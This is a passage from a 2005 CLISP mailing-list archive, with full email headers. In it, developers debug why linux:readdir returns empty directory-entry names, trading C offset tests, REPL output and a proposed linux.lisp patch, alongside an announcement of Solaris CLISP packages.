<17001.19881.731306.497527@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Sam Steingold In-Reply-To: References: <20050404233337.8A4C610FC26@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-105.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effect? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 12:18:08 2005 X-Original-Date: Fri, 22 Apr 2005 21:16:57 +0200 On Tue, 05 Apr 2005, Sam Steingold wrote: > You must be very very very careful here: > the sizeof(ino_t), sizeof(off_t) &c &c &c greatly varies from OS to OS. > (on cygwin it went from 4 to 8 with upgrade from 1.3 to 1.5). > > this is good enough for "explorations", but not for production code. > for production you need a C module with a configure script which will > check for sizeof &c. > > BTW, why do you need opendir/readdir? Because linux:readdir doesn't work (in 2.33.2) (note the empty strings for d_name). I assume there's a mismatch between what LINUX is expecting and the actual dirent I have on my system (?!). [pjb@thalassa pjb]$ cat print-c-sizes.c #include #include #include #include #define offset(structure,field) ((char*)(&structure.field)-(char*)(&structure)) int main(void){ struct dirent dirent; printf("(\n"); printf(" (:dirent (:ino . %d) (:off . %d) (:reclen . %d) " "(:type . %d) (:name . %d))\n", offset(dirent,d_ino), offset(dirent,d_off), offset(dirent,d_reclen), offset(dirent,d_type), offset(dirent,d_name)); printf(")\n"); return(0);} [pjb@thalassa pjb]$ ./print-c-sizes (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name . 11)) $ nm /lib/libc.so.6 |grep 'A GLIBC' nm /lib/libc.so.6 |grep 'A GLIBC' 00000000 A GLIBC_2.0 00000000 A GLIBC_2.1 00000000 A GLIBC_2.1.1 00000000 A GLIBC_2.1.2 00000000 A GLIBC_2.1.3 00000000 A GLIBC_2.2 00000000 A GLIBC_2.2.1 00000000 A GLIBC_2.2.2 00000000 A GLIBC_2.2.3 00000000 A GLIBC_2.2.4 00000000 A GLIBC_2.2.6 00000000 A GLIBC_2.3 00000000 A GLIBC_2.3.2 00000000 A GLIBC_PRIVATE [pjb@thalassa pjb]$ uname -a Linux thalassa 2.4.26 #18 Fri Dec 31 15:47:02 CET 2004 i686 unknown unknown GNU/Linux [pjb@thalassa pjb]$ /usr/local/bin/clisp -q -ansi -norc -K full [1]> (defun print-bug-report-info () (format t "~2%~{~28A ~S~%~}~2%" (list "LISP-IMPLEMENTATION-TYPE" (lisp-implementation-type) "LISP-IMPLEMENTATION-VERSION" (lisp-implementation-version) "SOFTWARE-TYPE" (software-type) "SOFTWARE-VERSION" (software-version) "MACHINE-INSTANCE" (machine-instance) "MACHINE-TYPE" (machine-type) "MACHINE-VERSION" (machine-version)))) PRINT-BUG-REPORT-INFO [2]> (PRINT-BUG-REPORT-INFO) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.2 (2004-06-02) (built 3320840961) (memory 3320841245)" SOFTWARE-TYPE "ANSI C program" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" NIL [3]> (defparameter dir (linux:opendir "/tmp")) DIR [4]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947261 :|d_off| 0 :|d_reclen| 12 :|d_type| 0 :|d_name| "") [5]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 2 :|d_off| 0 :|d_reclen| 24 :|d_type| 0 :|d_name| "") [6]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0 :|d_name| "") [7]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947264 :|d_off| 0 :|d_reclen| 68 :|d_type| 0 :|d_name| "") [8]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 800509 :|d_off| 0 :|d_reclen| 80 :|d_type| 0 :|d_name| "") [9]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947344 :|d_off| 0 :|d_reclen| 92 :|d_type| 0 :|d_name| "") [10]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947289 :|d_off| 0 :|d_reclen| 112 :|d_type| 0 :|d_name| "") [11]> > why isn't DIRECTORY enough? The purpose of the script is to rename (or copy or create links of) _items_ in unix directories. DIRECTORY has at least one big unfortunate behavior on unix: the standard asks for the TRUENAME of the items, which is translated in unix to the target name of a symbolic link. -- __Pascal Bourguignon__ http://www.informatimago.com/ You're always typing. Well, let's see you ignore my sitting on your hands. From sds@gnu.org Fri Apr 22 12:19:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DP3gE-0004Xc-Rc for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 12:19:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DP3gB-0006Lt-AU for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 12:19:10 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3MJISOd009138; Fri, 22 Apr 2005 15:18:33 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17001.17072.364325.375458@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Apr 2005 20:30:08 +0200") References: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> <17001.17072.364325.375458@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: pathname translation with 2.33.83 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 12:19:34 2005 X-Original-Date: Fri, 22 Apr 2005 15:18:10 -0400 > * Pascal J.Bourguignon [2005-04-22 20:30:08 +0200]: > > make[1]: Leaving directory `/local/users/pjb/src/lisp/encours/bellerophon/clisp-2.33.83/src/tests' > cd sacla-tests && ../lisp.run -B .. -M ../lispinit.mem -N ../locale -Efile UTF-8 -Eterminal UTF-8 -norc -i tests.lisp -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))' > > *** - LOAD: A file with name tests.lisp does not exist rm -rf sacla-tests > $ export BASE=/home/pjb/src/lisp/encours/bellerophon/install > $ cat init.lisp > (IN-PACKAGE "COM.INFORMATIMAGO.INIT") this is not ANSI. where is this package created? > [1]> (load "init.lisp") > ;; Loading file init.lisp ... ** - SYSTEM::%FIND-PACKAGE: There is no package with name "COM.INFORMATIMAGO.INIT" -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp suffers from being twenty or thirty years ahead of time. From sds@gnu.org Fri Apr 22 13:47:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DP54A-0000wl-E2 for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 13:47:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DP548-0005Z0-2t for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 13:47:58 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3MKlCrN020789; Fri, 22 Apr 2005 16:47:17 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17001.19881.731306.497527@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Apr 2005 21:16:57 +0200") References: <20050404233337.8A4C610FC26@thalassa.informatimago.com> <17001.19881.731306.497527@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effect? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 13:48:01 2005 X-Original-Date: Fri, 22 Apr 2005 16:46:54 -0400 > * Pascal J.Bourguignon [2005-04-22 21:16:57 +0200]: > > [pjb@thalassa pjb]$ ./print-c-sizes > (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name . > 11)) that's what linux.lisp says too. > #S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0 > :|d_name| "") yuk. how about this? --- linux.lisp 25 Jan 2005 09:28:42 -0500 1.17 +++ linux.lisp 22 Apr 2005 16:44:23 -0400 @@ -1847,8 +1847,7 @@ (d_off off_t) (d_reclen ushort) (d_type uchar) - (d_name (c-array-max character #.(cl:+ NAME_MAX 1))) -) + (d_name c-string)) ;;; ------------------------------ -------------------------------- >> why isn't DIRECTORY enough? > > The purpose of the script is to rename (or copy or create links of) > _items_ in unix directories. DIRECTORY has at least one big > unfortunate behavior on unix: the standard asks for the TRUENAME of > the items, which is translated in unix to the target name of a > symbolic link. in CLISP, DIRECTORY :FULL T returnes the original file name too. WFM in CVS head. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sex is like air. It's only a big deal if you can't get any. From pjb@informatimago.com Fri Apr 22 15:26:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DP6bk-00064j-Ec for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 15:26:44 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DP6bi-0005BV-DR for clisp-list@lists.sourceforge.net; Fri, 22 Apr 2005 15:26:44 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id C2F415833D; Sat, 23 Apr 2005 00:26:12 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 70D2A582FA; Sat, 23 Apr 2005 00:25:48 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4C4B410FBF3; Sat, 23 Apr 2005 00:25:47 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17001.31210.946822.641056@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Sam Steingold Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effect? In-Reply-To: References: <20050404233337.8A4C610FC26@thalassa.informatimago.com> <17001.19881.731306.497527@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-105.3 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 22 15:26:51 2005 X-Original-Date: Sat, 23 Apr 2005 00:25:46 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2005-04-22 21:16:57 +0200]: > > > > [pjb@thalassa pjb]$ ./print-c-sizes > > (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name . > > 11)) > > that's what linux.lisp says too. That's not what I see: [54]> (mapcar (lambda (slot) (ffi:with-c-var (d 'linux:dirent) (- (ffi:foreign-address-unsigned (ffi:c-var-address (ffi:slot d slot))) (ffi:foreign-address-unsigned (ffi:c-var-address d))))) '(linux::d_ino linux::d_off linux::d_reclen linux::d_type linux::d_name)) (0 4 8 10 12) Assuming my expression does what I want... > > #S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0 > > :|d_name| "") > > yuk. > how about this? > > --- linux.lisp 25 Jan 2005 09:28:42 -0500 1.17 > +++ linux.lisp 22 Apr 2005 16:44:23 -0400 > @@ -1847,8 +1847,7 @@ > (d_off off_t) > (d_reclen ushort) > (d_type uchar) > - (d_name (c-array-max character #.(cl:+ NAME_MAX 1))) > -) > + (d_name c-string)) > > ;;; ------------------------------ -------------------------------- It's not better: $ clisp ;; Loading file /home/pjb/.clisprc.lisp ... [1]> (defparameter dir (linux:opendir "/tmp")) DIR [2]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947261 :|d_off| 0 :|d_reclen| 12 :|d_type| 0 :|d_name| NIL) [3]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 2 :|d_off| 0 :|d_reclen| 24 :|d_type| 0 :|d_name| NIL) [4]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947263 :|d_off| 0 :|d_reclen| 44 :|d_type| 0 :|d_name| NIL) [5]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 947264 :|d_off| 0 :|d_reclen| 68 :|d_type| 0 :|d_name| NIL) [6]> (linux:readdir dir) #S(LINUX:dirent :|d_ino| 800509 :|d_off| 0 :|d_reclen| 80 :|d_type| 0 :|d_name| NIL) > >> why isn't DIRECTORY enough? > > > > The purpose of the script is to rename (or copy or create links of) > > _items_ in unix directories. DIRECTORY has at least one big > > unfortunate behavior on unix: the standard asks for the TRUENAME of > > the items, which is translated in unix to the target name of a > > symbolic link. > > in CLISP, DIRECTORY :FULL T returnes the original file name too. > > WFM in CVS head. This could help... -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From lisp-clisp-list@m.gmane.org Sat Apr 23 20:46:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DPY4o-0004Nv-AI for clisp-list@lists.sourceforge.net; Sat, 23 Apr 2005 20:46:34 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DPY4l-0006bx-Qq for clisp-list@lists.sourceforge.net; Sat, 23 Apr 2005 20:46:34 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1DPXyb-0003mf-Dm for clisp-list@lists.sourceforge.net; Sun, 24 Apr 2005 05:41:34 +0200 Received: from 66.78.137.35 ([66.78.137.35]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 24 Apr 2005 05:40:09 +0200 Received: from dlewis by 66.78.137.35 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 24 Apr 2005 05:40:09 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Derek Lewis Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 66.78.137.35 (Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.6) Gecko/20050323 Firefox/1.0.2) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Solaris CLISP v2.33.2 Packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 23 20:46:44 2005 X-Original-Date: Sun, 24 Apr 2005 03:03:10 +0000 (UTC) I've released pre-compiled Solaris CLISP packages for x86 and Sparc (32bit). Anyone can grab them at http://riemann.solnetworks.net/~dlewis/packages/clisp . As of yet, I've only thrown the x86 packages up. The Sparc ones are still being tested and should be available tonight if anyone is intrested. I'll also be sure to MD5 checksum all the files, and make the them available in an MD5SUMS file. Be sure to take a look at the README.txt . Derek Lewis SolNetworks SysAdmin dlewis@solnetworks.net From lisp-clisp-list@m.gmane.org Sat Apr 23 23:35:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DPaiN-0002Rj-Jn for clisp-list@lists.sourceforge.net; Sat, 23 Apr 2005 23:35:35 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DPaiK-00039A-V8 for clisp-list@lists.sourceforge.net; Sat, 23 Apr 2005 23:35:35 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DPabY-0004ox-KB for clisp-list@lists.sourceforge.net; Sun, 24 Apr 2005 08:29:58 +0200 Received: from 66.78.137.35 ([66.78.137.35]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 24 Apr 2005 08:28:32 +0200 Received: from dlewis by 66.78.137.35 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 24 Apr 2005 08:28:32 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Derek Lewis Lines: 9 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 66.78.137.35 (Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.6) Gecko/20050323 Firefox/1.0.2) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: Solaris CLISP v2.33.2 Packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 23 23:35:49 2005 X-Original-Date: Sun, 24 Apr 2005 06:28:20 +0000 (UTC) Unfortunately, I'm having a bit of trouble compiling for Sparc, but I'll have it up as soon as it passes all the tests. Sorry for the inconvience. The X86 package passed all the tests, and I'm actually using it as a dependency for another piece of software. So, it's OK. Derek Lewis SolNetworks SysAdmin dlewis@solnetworks.net From sds@gnu.org Sun Apr 24 14:58:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DPp7X-0005jC-3S for clisp-list@lists.sourceforge.net; Sun, 24 Apr 2005 14:58:31 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DPp7U-0003AT-FU for clisp-list@lists.sourceforge.net; Sun, 24 Apr 2005 14:58:30 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO loiso.podval.org) (65.78.20.170) by smtp04.mrf.mail.rcn.net with ESMTP; 24 Apr 2005 17:58:28 -0400 X-IronPort-AV: i="3.92,127,1112587200"; d="scan'208"; a="26148552:sNHT21916156" Received: by loiso.podval.org (Postfix, from userid 500) id ABABA21E11B; Sun, 24 Apr 2005 17:57:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Joerg-Cyril.Hoehle@t-systems.com Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17001.31210.946822.641056@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sat, 23 Apr 2005 00:25:46 +0200") References: <20050404233337.8A4C610FC26@thalassa.informatimago.com> <17001.19881.731306.497527@thalassa.informatimago.com> <17001.31210.946822.641056@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effect? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 24 14:58:43 2005 X-Original-Date: Sun, 24 Apr 2005 17:57:27 -0400 > * Pascal J.Bourguignon [2005-04-23 00:25:46 +0200]: > > Sam Steingold writes: >> > * Pascal J.Bourguignon [2005-04-22 21:16:57 +0200]: >> > >> > [pjb@thalassa pjb]$ ./print-c-sizes >> > (:dirent (:ino . 0) (:off . 4) (:reclen . 8) (:type . 10) (:name . >> > 11)) >> >> that's what linux.lisp says too. > > That's not what I see: > > [54]> (mapcar (lambda (slot) > (ffi:with-c-var (d 'linux:dirent) > (- (ffi:foreign-address-unsigned > (ffi:c-var-address (ffi:slot d slot))) > (ffi:foreign-address-unsigned > (ffi:c-var-address d))))) > '(linux::d_ino linux::d_off linux::d_reclen > linux::d_type linux::d_name)) > (0 4 8 10 12) > > Assuming my expression does what I want... this looks like a bug: (ffi:sizeof 'ffi:uchar) 1 ; 1 so d_name should be offset by 1 byte from d_type, not by 2 bytes as your code indicates. Joerg, what do you think? PS. Pascal, it would be nice to have a test suite for the linux glibc bindings, like we already have for regexp, syscalls and some other modules. would you like to work on that? -- Sam Steingold (http://www.podval.org/~sds) running FC3 GNU/Linux Don't use force -- get a bigger hammer. From sds@gnu.org Mon Apr 25 09:06:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQ66E-0000G3-Am for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 09:06:18 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQ65v-000593-12 for clisp-list@lists.sourceforge.net; Mon, 25 Apr 2005 09:06:18 -0700 Received: from 65-78-20-170.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO loiso.podval.org) 